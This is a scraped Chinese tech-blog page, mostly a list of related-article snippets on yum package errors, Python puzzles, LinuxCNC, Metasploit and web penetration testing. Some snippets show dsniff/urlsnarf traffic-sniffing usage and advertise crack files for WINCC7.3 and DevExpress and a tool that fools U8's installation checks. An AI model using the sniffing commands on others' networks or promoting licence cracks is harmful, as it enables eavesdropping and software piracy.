本文为胡事民教授在山大做报告的笔记,现场见下图: 可视媒体是承载视觉信息的媒体类型,如图像、视频等,它具有网络化、海量和无序涌现等特征。 可视媒体计算的研究意义 可视媒体作为一种信息承载的介质,是用来表达语义信息的。那么就有一种介质与信息之间相互转化的问题。转化方向正反两种,举个栗子说明一下: 1. 可视媒体→→\rightarrow语义信息:比如看到画面,理解其中发生的事件、各主题之...

gdymind的博客 2451

Python学习24:中国古代数学问题——物不知数(Python123)

意思是说有一些物品,不知道有多少个,3个3个数的话,还多出2个;5个5个数则多出3个;7个7个数也会多出2个。题目为‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬:今有物不知其数,三三数之剩二,五五数之剩三,七七数之剩二,问物几何?现假设物品总数不超过n (n

weixin_60530224的博客 2万+

Shell FTP文件上传下载

1.上传文件到ftp 创建一个shell文件:touch upload.sh 修改为可执行文件:chmod +x upload.sh 编辑:vim upload.sh,脚本内容如下 cd /user/directory/target export putfile=yyy.jar ftp -v -n ftp.xxx.com&lt;&lt;EOF user huyikang psswd ...

蚁人的博客 5432

从DIY桌面CNC到工业机器人:手把手教你用LinuxCNC搭建自己的第一台数控系统(基于Xenomai实时补丁)

本文详细介绍了如何使用LinuxCNC和Xenomai实时补丁搭建高性价比的数控系统,从硬件选型到实时系统构建,再到HAL硬件抽象层实战和G代码加工,手把手教你打造从DIY桌面CNC到工业机器人的完整解决方案。

weixin_28727975的博客 288

CentOS7.9 解决“No package xxx available“

目录 摘要 第一步:使用命令“yum search xxx”先查看是否有可安装的镜像包 第二步:安装找到的安装包 第三步:最后再次尝试ifconfig, 正确打印我们想要的信息。 ​注意: 如果出现“N/S matched:ifconfig”,则使用全局查找命令。 摘要 安装完CentOS7.9后,发现使用命令ifconfig时,报“no package ifconfig available”. 于是又打怪之路。如果出现相似的“no package xxx available”,都可参照.

DayDayUp的博客 1万+

《派出你的AI同事:WorkBuddy案例实战》062:投研资讯摘要与预警

投研资讯摘要与预警:新闻、公告、行情交给 AI 同事提炼与预警,投研从“刷资讯”变成“读摘要”。

LuckyHanMo的博客 184

Google Earth Engine(GEE)——全球影像数据正确下载方式和注意事项

今天看到有人担心全球影像能不能下载的问题? 有时候我们会用到全球的数据,但是如何下载全球的数据呢? 首先如果没有全球的矢量边界我们会不会无法下载全球的数据,答案当然是可以的,因为我们在边界筛选的过程中filterBounds(),就是为了筛选边界,当我们不进行边界筛选的时候,自然而然默认的边界范围就是全球的,但是紧接着会面临其他两个问题:1如何下载?2如何在不缩小分辨率的情况下下载成功? 对于第一个问题我们如何下载?还是按照正常的逻辑利用export直接倒出到Google硬盘当中, 代码:

此星光明博客 3772

yum安装出现No package ****** available

出现这种错误的原因 网络问题 检查你的网络情况,可以ping一下百度,看能不能ping通。 镜像连接错误 使用yum搜索某些rpm包,找不到包是因为CentOS是RedHat企业版编译过来的,去掉了所有关于版权问题的东西。安装EPEL后可以很好的解决这个问题。EPEL(Extra Packages for Enterprise Linux )即企业版Linux的扩展包,提供了很多可共Centos使用的组件,安装完这个以后基本常用的rpm都可以找到。 解决方法 如果是第一种情况,请设置你的网络连接。 针对

zhangxiaoyang0的专栏 3万+

【计算机视觉 | MMDetection】关于mmdetection如何计算参数量、计算量和速度FPS

【计算机视觉 | MMDetection】关于mmdetection如何计算参数量、计算量和速度FPS

wzk4869的博客 3022

渗透测试 ( 3 ) --- Metasploit Framework (MSF)

Metasploit专业版和精简版的主要差别在于专业版上面集成了全自动攻击模块,通过远程API集成网络分割测试模块、标准基线审计向导模块、闭环漏洞验证优先处理功能、动态载荷规避防病毒解决方案、钓鱼意识管理和鱼叉式网络钓鱼模块、对OWASP Top 10漏洞的Web应用程序测试模块、高级命令行和Web界面的选择模块。但是,专业版是必须要付费的,所以除非用到非个人的功能,否则没有必要去使用专业版,而且,专业版和精简版的渗透攻击模块是一样的。.........

freeking101的博客 1万+

实验十一 ——————二层交换基础

实验内容实验网络拓扑图如上所示SW1以及SW2都创建VLAN10和VLAN20,按照上图所示,将接口添加到特定的VLAN;测试PC之间的连通性,要求相同VLAN内的PC能够相互通信要求设置两台交换机名称以及进行特权模式的密码,并允许通过Telnet方式管理交换机实验目的了解二层交换机工作原理掌握交换机基本配置命令理解VLAN的概念,掌握VLAN的配置理解trunk的概念,掌握trunk的配置实验步...

Fly_鹏程万里 1489

win10 跳过U8环境检测的IE WebControls.rar

win10 安装u8的时候 提示IE WebControls 不通过,这个工具可以欺骗u8的检查。 跳过U8环境检测的IE WebControls。提示导入失败后,重新检测通过。

拆解Web渗透底层逻辑:从溯源发展史到实战核心全维度指南

Web渗透测试是一套标准化、流程化、逻辑化、合规化的完整技术体系,绝非零散工具的堆砌。1. 信息收集是渗透的基石,决定测试深度与成功率,核心在于精细化、绕过防护挖掘隐性信息;2. 高危漏洞探测与利用是核心突破,需吃透漏洞原理,规避工具误报、WAF拦截等问题;3. 权限提升与内网渗透是进阶核心,是区分入门与资深渗透工程师的关键;4. 日志清理与复盘是职业化核心,适配企业合规测试场景。从发展趋势来看,Web安全攻防对抗会持续升级,自动化渗透、AI漏洞挖掘、云原生安全、API安全将成为未来主流方向。

2501_92125808的博客 598

精雕软件(JDpaint) 5.5 绿色版

精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版

dsniff工具使用

dsniff urlsnarf 嗅探HTTP请求,输出"Common Log Format"格式 foo$ urlsnarf [-n] [-i interface]  [[-v] pattern [expression]] n 表示不反查主机名; interface 网卡接口名; pattern 表示对过滤的内容使用的

p656456564545的专栏 6402

WINCC7.3破解文件

WINCC7.3硬件够破解文件,有需要的下载!WINCC7.3硬件够破解文件,有需要的下载!

Devexpress16.2.6破解工具

Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具

解决CentOS出现"No package redis available"提示问题

在安装redis的时候有出现"No package redis available"错误提示,不解决这个问题肯定无法进行下去。这个提示应该是当前的系统中没有redis应用安装源,我们需要从第三方下载到当前目录下然后进行安装后才可以执行。 第一、redis安装错误提示 [root@default ~]# yum -y install redis Loaded plugins

暗淡亮点的博客 4394

yum安装软件时,出现"No package XXX available"的解决办法

我的Linux版本6.8x64 依次执行以下命令解决 cd /home wget http://dl.fedoraproject.org/pub/epel/6/x86_64/epel-release-6-8.noarch.rpm rpm -ivh epel-release-6-8.noarch.rpm yum install XXX 完毕。

暗淡亮点的博客 12万+

yum安装出现No package vim available解决办法

yum (Yellowdog Updater Modified)是一个集与查找,安装,更新和删除程序的Linux软件。它运行在RPM包兼容的Linux发行版本上,如:RedHat, Fedora, SUSE, CentOS, Mandriva。 今天我在用CentOS 5.5的yum命令安装的时候出现如下错误: [root@malu2 ~]# yum install vim Lo

EIP的专栏 10万+

linux关闭passive脚本,linux安全调整

1.修改linux密码echo 用户名:密码 | chpasswd2.iptables 开启ftp的被动模式开启被动模式FTP支持:在/etc/sysconfig/iptables-config里面添加ip_nat_ftp、ip_conntrack_ftp模块,如下:vim /etc/sysconfig/iptables-configIPTABLES_MODULES="ip_nat_ftp"IPT...

weixin_35786759的博客 395

yum安装软件时出现No package redis available的问题

出现这种错误的原因 1、网络问题 检查你的网络情况,可以ping一下百度,看能不能ping通。 2、镜像连接错误 使用yum搜索某些rpm包,找不到包是因为CentOS是RedHat企业版编译过来的,去掉了所有关于版权问题的东西。安装EPEL后可以很好的解决这个问题。EPEL(Extra Packages for Enterprise Linux )即企业版Linux的扩展包,提供了很多可共Centos使用的组件,安装完这个以后基本常用的rpm都可以找到。 解决方法 如果是第一种情况,请设置你的网络连接。

JohnieLi的博客 1173

Centos yum 安装软件 No package XXX available.

Centos yum 安装软件 No package XXX available.       最近安装bind时,出现 NO package bind available如下所示: [root@host /]# yum -y install bind Loaded plugins: fastestmirror, refresh-packagekit, security L

梁亮的天下 3万+

yum安装软件时,出现“No package XXX available“的解决办法

系统:centos7.8 问题: root@dev Downloads]# yum install alien Loaded plugins: fastestmirror, langpacks, product-id, search-disabled-repos, subscription-manager This system is not registered with an entitlement server. You can use subscription-manager to regis

qq_28204865的博客 4642

Dsniff and Arpspoof on Mac

Dsniff and Arpspoof on Mac

LayCui的博客 4662

Linux 进程控制:fork、exit、wait、exec 与手写一个 mini shell

讲清进程控制的四个动作:fork 创建(内核四件事与写时拷贝)、exit/_exit/return 终止与 8 位退出码、wait/waitpid 等待与 status 位图、exec 七接口与唯一系统调用 execve,最后用这些零件拼出一个支持 cd/export/echo 的 mini shell,并解释环境变量两张表与 putenv 浅拷贝坑。附速查表与 14 道自测题。

BIII__的博客 191
上一篇: Hacking Your Linux-Based Wireless Router
下一篇: 架设某大型网站服务器之全部过程
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值